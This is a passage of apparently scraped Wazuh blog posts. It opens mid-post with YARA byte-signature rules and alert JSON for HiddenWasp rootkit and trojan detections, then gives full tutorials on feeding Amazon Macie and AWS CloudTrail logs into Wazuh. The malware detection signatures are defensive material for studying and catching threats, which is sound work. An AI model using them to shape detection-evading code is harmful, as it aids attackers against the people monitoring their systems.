		$a1 = { 31 ?? 89 [0-128] FC 88 ?? 89 ?? 89 ?? F2 ?? F7 ?? 4? 66 ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? 89 ?? 89 ?? F2 ?? F7 ?? 4? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? F2 ?? F7 ?? 4? 39 ?? ?? ?? ?? ?? 75 [0-128] BB ?? ?? ?? ?? 31 ?? FC 8B ?? ?? ?? ?? ?? 88 ?? 89 ?? F2 ?? F7 ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 89 ?? F2 ?? F7 ?? 8D ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? 89 ?? ?? ?? ?? ?? 88 ?? 89 ?? 89 ?? F2 ?? 8B ?? ?? ?? ?? ?? F7 ?? 8D ?? ?? ?? ?? ?? ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? FF 7? ?? FF 7? ?? FF 7? ?? FF 7? ?? FF 7? ?? 5? }
		$a2 = { FF B? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 74 [0-128] 8D ?? ?? FC 89 ?? BF ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 ?? 75 [0-128] 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 31 ?? 8B ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? F2 ?? 89 ?? 89 ?? B9 ?? ?? ?? ?? F2 ?? F7 ?? F7 ?? 83 ?? ?? 8D ?? ?? ?? 5? E8 ?? ?? ?? ?? }
		$a3 = { 5? E8 ?? ?? ?? ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? 89 ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? 83 ?? ?? 39 ?? 0F 85 [0-128] 83 ?? ?? 68 ?? ?? ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 5? }
		$a4 = { C6 ?? ?? ?? C6 ?? ?? ?? ?? C6 ?? ?? ?? ?? 8B ?? ?? FC 31 ?? B9 ?? ?? ?? ?? F2 ?? 31 ?? F7 ?? 4? 89 ?? 8D ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 39 ?? 66 ?? 88 ?? AA 7D [0-128] 8B ?? ?? ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? ?? C6 ?? ?? ?? ?? BB ?? ?? ?? ?? 31 ?? FC 89 ?? 89 ?? F2 ?? 89 ?? 8B ?? ?? ?? ?? ?? 89 ?? F2 ?? F7 ?? F7 ?? }
		$a5 = { 81 E? ?? ?? ?? ?? 31 ?? BE ?? ?? ?? ?? FC 88 ?? 8B ?? ?? ?? ?? ?? 89 ?? F2 ?? 89 ?? 8B ?? ?? ?? ?? ?? 89 ?? F2 ?? F7 ?? F7 ?? 8D ?? ?? ?? 5? E8 ?? ?? ?? ?? FF 3? ?? ?? ?? ?? FF 3? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? 89 ?? E8 ?? ?? ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 89 ?? 74 [0-128] 5? 68 }
		$a6 = { 0F 86 [0-128] 31 ?? 83 ?? ?? ?? 0F 86 [0-128] 8B ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 0F B6 ?? ?? ?? D3 ?? 31 ?? 8B ?? ?? 23 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 0F B7 ?? ?? 89 ?? ?? }
		$b0 = { EB [0-128] 8B ?? ?? 3B ?? ?? 7C [0-128] 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? }
		$b1 = { ?? 48 ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? 8B ?? ?? 39 ?? 75 [0-128] E8 ?? ?? ?? ?? 83 ?? ?? 74 [0-128] 48 }
		$b2 = { 75 [0-128] 48 ?? ?? ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? B8 ?? ?? ?? ?? FC 48 ?? ?? ?? F2 ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 79 [0-128] 48 }
		$b3 = { ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? B8 ?? ?? ?? ?? FC 48 ?? ?? ?? F2 ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 79 [0-128] 48 ?? ?? ?? E8 ?? }
		$b4 = { 0F B6 ?? 48 ?? ?? ?? BE ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 01 ?? 48 ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 0F B7 ?? 66 ?? ?? 83 [0-128] 8B ?? ?? 3B ?? ?? 7C [0-128] 8B ?? ?? 01 ?? 48 ?? 48 ?? ?? ?? C6 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 8B ?? ?? 01 ?? 48 ?? 48 ?? ?? ?? C6 ?? ?? 48 ?? ?? ?? }
		$b5 = { ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? FC 48 ?? ?? ?? ?? ?? ?? F2 ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? FC 48 ?? ?? ?? ?? ?? ?? F2 ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? BE ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? 75 [0-128] 48 ?? ?? ?? ?? ?? ?? BA ?? }

	condition:
		all of ($a*) or all of ($b*)
}

Wazuh alerts

The YARA rules above generate these alerts when executed through the Wazuh active response:

{
	"timestamp": "2020-06-09T08:15:07.187+0000",
	"rule": {
		"level": 10,
		"description": "YARA HiddenWasp_Deployment detected.",
		"id": "100102",
		"firedtimes": 1,
		"mail": false,
		"groups": ["yara"]
	},
	"agent": {
		"id": "001",
		"name": "yara-agent",
		"ip": "10.0.2.x"
	},
	"manager": {
		"name": "wazuh-manager"
	},
	"id": "1591690507.38027",
	"full_log": "wazuh-yara: info: HiddenWasp_Deployment /home/user/script.sh",
	"decoder": {
		"name": "yara"
	},
	"data": {
		"yara_rule": "HiddenWasp_Deployment",
		"file_path": "/home/user/script.sh"
	},
	"location": "/var/ossec/logs/active-responses.log"
}
{
	"timestamp": "2020-06-09T08:18:47.901+0000",
	"rule": {
		"level": 10,
		"description": "YARA HiddenWasp_Rootkit detected.",
		"id": "100102",
		"firedtimes": 1,
		"mail": false,
		"groups": ["yara"]
	},
	"agent": {
		"id": "001",
		"name": "yara-agent",
		"ip": "10.0.2.x"
	},
	"manager": {
		"name": "wazuh-manager"
	},
	"id": "1591690407.33120",
	"full_log": "wazuh-yara: info: HiddenWasp_Rootkit /home/user/binary",
	"decoder": {
		"name": "yara"
	},
	"data": {
		"yara_rule": "HiddenWasp_Rootkit",
		"file_path": "/home/user/binary"
	},
	"location": "/var/ossec/logs/active-responses.log"
}
{
	"timestamp": "2020-06-09T11:10:01.229+0000",
	"rule": {
		"level": 10,
		"description": "YARA HiddenWasp_Trojan detected.",
		"id": "100102",
		"firedtimes": 1,
		"mail": false,
		"groups": ["yara"]
	},
	"agent": {
		"id": "001",
		"name": "yara-agent",
		"ip": "10.0.2.x"
	},
	"manager": {
		"name": "wazuh-manager"
	},
	"id": "1591701001.39854",
	"full_log": "wazuh-yara: info: HiddenWasp_Trojan /home/user/another_binary",
	"decoder": {
		"name": "yara"
	},
	"data": {
		"yara_rule": "HiddenWasp_Trojan",
		"file_path": "/home/user/another_binary"
	},
	"location": "/var/ossec/logs/active-responses.log"
}

You can also create custom dashboards in Kibana for this integration:

YARA dashboard Kibana

Conclusion

The Wazuh active response module lets you react on any type of alert triggered in the system, creating very powerful behaviors.

In this case, you are taking advantage of Wazuh FIM, using it almost as a high-level heuristic to signal which files should be scanned by YARA, saving time and resources in the process.

References

If you have any questions about this, join our Slack community channel! Our team and other contributors will help you.

The post How to integrate YARA with Wazuh appeared first on Wazuh.

Integrating Amazon Macie in Wazuh

Amazon offers many tools to monitor the status of its services. A good example is Amazon Macie, aimed at the surveillance of stored data. This is a resource of enormous relevance in recent times and therefore it requires its correct treatment and protection.

There is no doubt that in order to protect the data, we must have a properly guarded system that is free from intruders and security breaches which could lead to improper access. Wazuh and its wide community provide the necessary tools in this regard.

If we have to access a different dashboard for each service we use (Amazon CloudTrail, Macie, GuardDuty, File Integrity Monitoring, etc.), the task becomes more difficult to carry out. Therefore, this time we are going to undertake the integration of Amazon Macie alerts in Kibana thanks to Wazuh, centralizing all the security information that we have in a single point.

Amazon Macie

Amazon Macie is a service responsible for detecting and classifying suspicious activities, intellectual property and unprotected personal or confidential data within S3 buckets. It uses machine learning to carry out those tasks and generates alerts that help the administrator to discover possible problems; Problems which could lead to exposure of data or even the loss of it.

The Amazon Macie activation process is fairly straightforward. You just have to follow a few steps that you can find detailed in its official guide.

Please note that in order to integrate events into Wazuh, they must be accessible from an S3 bucket. Macie by itself does not offer the possibility of storing the logs generated within it. In consequence, it is necessary to activate Amazon Kinesis, a tool that makes it easy to collect and save those logs in a bucket. Once this is done, Wazuh will read them and display the data in Kibana. You can find a detailed guide on how to activate Amazon Kinesis in our documentation.

Sending logs to Wazuh

The workflow from the moment Amazon Macie generates events until they are displayed in the Wazuh UI is quite simple. First, Macie analyzes each configured bucket and generates the events based on the problems it finds, it then stores those events in a different bucket. Secondly, Wazuh will access that bucket to collect all the information stored there. The Wazuh AWS module saves in a database which logs have already been read, thus avoiding downloading the same event several times. At this point, if we add custom rules, alerts will be generated based on criteria that we ourselves establish.

We can also automate the execution of any action with integratord. For example, if we use it together with Boto3, it can automatically block any IP that is trying to access our S3 without permission. To configure this behaviour we can follow the example described in our post Monitoring AWS environments with Wazuh.

Finally, we can access the Wazuh UI to query those alerts. The following diagram represents, in summary, the flow that we have just described.

Diagram of the workflow between Amazon Macie and Wazuh.

Setting up Wazuh AWS module

Once Macie logs are stored in a bucket, it’s time to set up the AWS module in the Wazuh configuration file in order to collect them. Access the Wazuh agent (or manager) that will be in charge of this task, edit the configuration file <WAZUH_HOME>/etc/ossec.conf and add the following code block:

<wodle name="aws-s3">
  <disabled>no</disabled>
  <interval>10m</interval>
  <run_on_start>yes</run_on_start>
  <skip_on_error>yes</skip_on_error>
  <bucket type="custom">
    <name>wazuh-aws-wodle</name>
    <path>macie</path>
    <aws_profile>default</aws_profile>
  </bucket>
</wodle>

Remember that, as we already explained in our post Using CloudTrail to monitor AWS activity and in the documentation, you will need to add the AWS access credentials in a file located at ~/.aws/credentials. You can also find more detailed information about each AWS module configuration parameter in our documentation.

Note: It is possible to specify the credentials within the wodle configuration in ossec.conf. However, we do not recommend this option.

Now you only need to restart Wazuh and it will start reading the logs from Macie.

Checking if it works

Possibly, the easiest way to check that Macie alerts are being collected and processed correctly in Wazuh is to look them up in the Wazuh UI. However, we can find more detailed information and any related errors in the logs. If everything works fine, after restarting Wazuh we should find inside <WAZUH_HOME>/logs/ossec.log something similar to this:

2020/04/28 11:00:12 wazuh-modulesd:aws-s3: INFO: Module AWS started
2020/04/28 11:00:12 wazuh-modulesd:aws-s3: INFO: Starting fetching of logs.
2020/04/28 11:00:12 wazuh-modulesd:aws-s3: INFO: Executing Bucket Analysis: (Bucket: wazuh-aws-wodle, Path: macie, Type: custom, Profile: default)
2020/04/28 11:00:15 wazuh-modulesd:aws-s3: INFO: Fetching logs finished.

If there is an issue, for example if the credentials file is not found, you will get logs like these:

2020/04/28 10:45:13 wazuh-modulesd:aws-s3: INFO: Module AWS started
2020/04/28 10:45:13 wazuh-modulesd:aws-s3: INFO: Starting fetching of logs.
2020/04/28 10:45:13 wazuh-modulesd:aws-s3: INFO: Executing Bucket Analysis: (Bucket: wazuh-aws-wodle, Path: macie, Type: custom, Profile: default)
2020/04/28 10:45:14 wazuh-modulesd:aws-s3: WARNING: Bucket:  -  Returned exit code 12
2020/04/28 10:45:14 wazuh-modulesd:aws-s3: WARNING: Bucket:  -  The config profile (default) could not be found
2020/04/28 10:45:14 wazuh-modulesd:aws-s3: INFO: Fetching logs finished.

In this case you should make sure that the credentials are located in the path mentioned above, as well as that the format is correct. Keep in mind that errors are usually quite descriptive, allowing you to find the source of most problems.

If you need a higher level of verbosity, you can modify the file <WAZUH_HOME>/etc/local_internal_options.conf and add wazuh_modules.debug=2. After that, restart Wazuh again and check the ossec.log file.

Viewing AWS alerts in Kibana

After you have successfully configured Wazuh to display Amazon Macie alerts, it’s time to open Wazuh UI in Kibana to view them. It is recommended to activate the Amazon AWS extension as seen in the image below. Thereby, you will have direct access to a summary of all your AWS activity. Enabling AWS Extension in Wazuh APP

When accessing the panel of the Amazon AWS extension, we will find something similar to what is seen in the following image. At a glance, we will find graphs showing the sources of all alerts, the accounts to which they belong, the name of each bucket in which the logs are being stored and also graphs of events per second based on different criteria, among others things.
AWS dashboard in Wazuh App

If we click on the section of the graph that corresponds to Macie, a filter will be added showing only those alerts whose source is Amazon Macie. After scrolling, we find a panel with alerts classified based on their occurrence. We can also access detailed information of each alert. To do it, just click on the button Discover in the upper right corner.

Use case: Denied role creation

There are many suspicious activities that Amazon Macie manages to identify and classify thanks to the use of machine learning, so these use cases are only a small set of interesting examples.

It is recommended to review all generated events (which is easier with the integration in Wazuh) to identify suspicious behavior such as the following, in which the creation of a new role has been denied. Modifying and creating roles is critically important as they define what actions a user can take. A new role could compromise the security of the data hosted on S3.
Event generated after trying to create a roleEvent generated after trying to create a role

Use case: Increased number of accesses to S3

Macie also generates events when the pattern of access to buckets changes. These events are really useful since they could help us to identify early exposure of the stored data. And of course, to solve it in time.

It happens for example when a user who does not usually download anything, begins to download many files from the bucket, and also when the number of times that a bucket is read increases. This is the case of the following event:
Event generated in Macie after bucket has higher read requests

Conclusion

Having secure systems in which to store the information we generate is incredibly important nowadays. The leakage of personal or any other data can result not only in the loss of credibility of a company but also in significant financial penalties. Therefore, all efforts are justified when it comes to monitoring the correct processing of data.

We have seen that integrating Amazon Macie into Wazuh is really easy. After doing so, this and many other services will be centralized in one place, the Wazuh UI. Unified access to all the information gives us many advantages, such as a fast overview of everything that is happening (especially critical information), greater agility to find security risks, personalization of alerts and even automation of actions which may save us from a future headache.

References

If you have any questions about this, don’t hesitate to check out our documentation to learn more about Wazuh. You can also join our Slack #community channel and our mailing list where our team and other users will help you with your questions.

The post Integrating Amazon Macie in Wazuh appeared first on Wazuh.

Integrating AWS CloudTrail in Wazuh

This post focuses on setting up Wazuh to collect events delivered by AWS CloudTrail which provides useful information about the AWS infrastructure, such as the instance configuration, unauthorized behavior, API usage and more.

What is AWS CloudTrail

AWS CloudTrail is a service that enables governance, compliance, operational and risk auditing of your AWS infrastructure. It provides event history of your AWS account activity, including actions taken through the AWS Management Console, AWS SDKs, command-line tools, and other AWS services.

How it works

CloudTrail typically delivers log files within 15 minutes of account activity by using trails. A trail is a configuration that enables the delivery of events to a specified Amazon S3 bucket to record changes in AWS resources. Log file objects are stored by trails in the S3 bucket in the following name format:

bucket_name/prefix_name/AWSLogs/Account ID/CloudTrail/region/YYYY/MM/DD/file_name.json.gz

This name format includes the following elements:

  • The bucket name specified when creating the trail.
  • The prefix specified when creating the trail. This is optional.
  • The string AWSLogs.
  • The account ID.
  • The string CloudTrail.
  • A region identifier such as us-west-1.
  • The year the log file was published in YYYY format.
  • The month the log file was published in MM format.
  • The day the log file was published in DD format.
  • A random alphanumeric string to differentiate files from the same time period.

More information about CloudTrail concepts can be found here.

Setting it up

The following diagram shows what we plan to accomplish:

Monitor AWS activity with AWS Cloudtrail and Wazuh

Note: If you already have a Trail set up for saving CloudTrail logs you can skip Step 1.

Step 1: Enable AWS CloudTrail

To enable CloudTrail we need to define a bucket for saving the logs. To do so, log in to the AWS Management Console and look for “CloudTrail” using the  “Find Services” search option. Click on “Trails” on the left panel, and then click on “Create trail” button, as shown in the following screenshot:

Monitor AWS activity. Click on create trails

Lastly, provide the name for the new S3 bucket that will be created and used to store CloudTrail logs:

 

Setup CloudTrail S3 bucket for logs

Step 2: Create AWS credentials

Once we have created a trail, we need to set up credentials so that Wazuh is able to connect and extract the logs from the S3 bucket. We recommend doing this instead of hardcoding the user and password for the AWS account in the ossec.conf. More information about how to configure AWS credentials can be found in the Wazuh documentation.

For testing purposes, we are going to create a file located at ~/.aws/credentials with the following content to grant us access to the previously created S3 Bucket:

[default]
aws_access_key_id=<YOUR_AWS_ACCESS_KEY>
aws_secret_access_key=<YOUR_AWS_SECRET_KEY>

This way we will be able to connect to our AWS account if we specify default as our AWS profile in the next step.

Step 3: Configure Wazuh

The only thing left to do is to indicate in our <WAZUH_HOME>/etc/ossec.conf file that we want to collect logs from CloudTrail by adding the following module. This step is performed on the Wazuh Manager or Agent. For this example we are going to configure it on a Wazuh Manager:

<wodle name="aws-s3">
  <disabled>no</disabled>
  <interval>10m</interval>
  <run_on_start>yes</run_on_start>
  <skip_on_error>yes</skip_on_error>
  <bucket type="cloudtrail">
    <name>wazuh-cloudtrail</name>
    <aws_profile>default</aws_profile>
  </bucket>
</wodle>

From this module two options stand out:

  • name: The name of the bucket where CloudTrail is saving the logs, previously defined. In our case, we named it “wazuh-cloudtrail”.
  • aws_profile: The name of the profile defined for granting Wazuh access to the bucket. This allows us to log in with our AWS account. It must match with the profile specified in the credentials file created in step 2.

Note: To monitor logs for multiple AWS accounts, you must configure multiple options within the aws-s3 module. Bucket tags must have a type attribute which depends on the service being monitored. More information here.

Finally, restart Wazuh to apply the changes, and the CloudTrail alerts will start to appear on the Wazuh UI.

Other useful options for AWS-S3 module

The AWS-S3 module has several options available aside from the ones shown in the previous example. Here are some configuration options that can be useful when the S3 bucket contains a long history of logs. They will filter which logs will be read by Wazuh:

  • only_logs_after: Allows filtering of logs produced after a given date. The date format must be YYYY-MMM-DD. For example, 2020-JUN-01 would filter logs produced after the 1st of June 2020, not including that day. It requires the directory structure to be organized by dates.
  • aws_account_id: If you have logs from multiple accounts, you can filter which ones will be read by Wazuh. You can specify multiple IDs by separating them with commas.
  • regions: If you have logs from multiple regions, you can filter which ones will be read by Wazuh. You can specify multiple regions separating them with commas.
  • path: If you have your logs stored in a given path, it can be specified using this option. This must match with the prefix_name of the log object files to be read.

Usage examples of those available options can be found in our official documentation.

Note: The AWS-S3 Wazuh module only looks for new logs based upon the key for the last processed log object which includes the date timestamp. If older logs are loaded into the S3 bucket or the only_logs_after option date is set to a date/time earlier than previous executions of the module, the older log files will be ignored and not ingested into Wazuh.

Step 4: Ensure everything is running fine

After restarting you can ensure everything is fine by checking the <WAZUH_HOME>/logs/ossec.log. If the following message appears in the log and there are no warnings related to AWS then everything is ready:

INFO: Module AWS started
INFO: Starting fetching of logs.
INFO: Executing Bucket Analysis: (Bucket: wazuh-cloudtrail, Type: cloudtrail, Profile: default)

You can also verify the integration is working as expected by accessing the Wazuh App. The AWS CloudTrail dashboard can be found here:

AWS CloudTrail dashboard Kibana

Troubleshooting

This section covers possible errors that may occur if we have made any mistakes during the configuration process. Those errors will be found in the <WAZUH_HOME>/logs/ossec.log.

To increase the verbosity of the messages found in ossec.log debug mode for the AWS module can be enabled by adding the line wazuh_modules.debug=2 to the <WAZUH_HOME>/etc/local_internal_options.conf file and restarting Wazuh.

The config profile could not be found

INFO: Module AWS started
INFO: Starting fetching of logs.
INFO: Executing Bucket Analysis: (Bucket: wazuh-cloudtrail, Type: cloudtrail, Profile: default)
WARNING: Bucket: - Returned exit code 12
WARNING: Bucket: - The config profile (default) could not be found
INFO: Fetching logs finished.

If the AWS credentials cannot be found you will receive this error. Make sure the AWS credentials have been correctly set up as indicated in Step 2: Configure AWS credentials.

Access error: Forbidden

INFO: Module AWS started
INFO: Starting fetching of logs.
INFO: Executing Bucket Analysis: (Bucket: wazuh-cloudtrail, Type: cloudtrail, Profile: default)
WARNING: Bucket: - Returned exit code 3
WARNING: Bucket: - Access error: An error occurred (403) when calling the HeadBucket operation: Forbidden

This error means the credentials specified during the Step 2: Configure AWS credentials are wrong and they don’t grant access to AWS. Ensure you are using the right credentials.

Access error: Not Found

INFO: Module AWS started
INFO: Starting fetching of logs.
INFO: Executing Bucket Analysis: (Bucket: wazuh-cloudnottrail, Type: cloudtrail, Profile: default)
WARNING: Bucket: - Returned exit code 3
WARNING: Bucket: - Access error: An error occurred (404) when calling the HeadBucket operation: Not Found
INFO: Fetching logs finished.

This error appear when a wrong S3 Bucket name is specified. Ensure the same bucket name defined in Step 1: Enable AWS CloudTrail is used in <WAZUH_HOME>/etc/ossec.conf when following the instructions of Step 3: Configure Wazuh.

Use case: Detecting intrusion attempts

One of the most common use cases for the CloudTrail integration with Wazuh is to monitor intrusion attempts into our cloud infrastructure. Every time a user tries to log in, an event will be generated regardless if it was successful or not.

In addition, it’s possible to configure Wazuh to send email alerts when this kind of behavior is detected, making it possible to immediately perform the necessary actions to avoid the effects of these attacks. You could also enable Amazon SNS to send SMS notifications.

As an example, the following alert will be shown in the Wazuh UI if a user tries to log in with an invalid password:

Detecting intrusion attempts. Failed login

When more than 4 authentication failures occur in a 360 second time window, an alert will be raised:

Breaking attempt alert

Use Case: Monitoring API Calls

Another useful example of what we can achieve by integrating CloudTrail with Wazuh is through monitoring any API calls. Any time an API call is performed, a log will be created by AWS and collected by Wazuh. It will be visible in the Wazuh UI and provide useful information. Some of the fields that the alert will have are:

  • Caller’s identity (user, country, ip…)
  • API call’s timestamp
  • Requested parameters and the resulting response

Here is an example of an event raised when someone tried to run a EC2 instance:

API Call Run Instances Example

And here is another example of an event when a user tries to terminate an EC2 instance:

API Call Terminate Instance Example

Conclusion

Thanks to CloudTrail and Wazuh, we can be aware of misconfigurations, attempted and/or successful malicious activities, policy violations and a variety of other security and operational issues. We can also be notified when some of those alerts are triggered.

Wazuh is ready to analyze AWS events of high relevance making it a powerful visualization tool to keep track of everything that happens in your AWS infrastructure.

References

If you have any questions about this, don’t hesitate to check out our documentation to learn more about Wazuh. You can also join our Slack #community channel and our mailing list where our team and other users will help you with your questions.

The post Integrating AWS CloudTrail in Wazuh appeared first on Wazuh.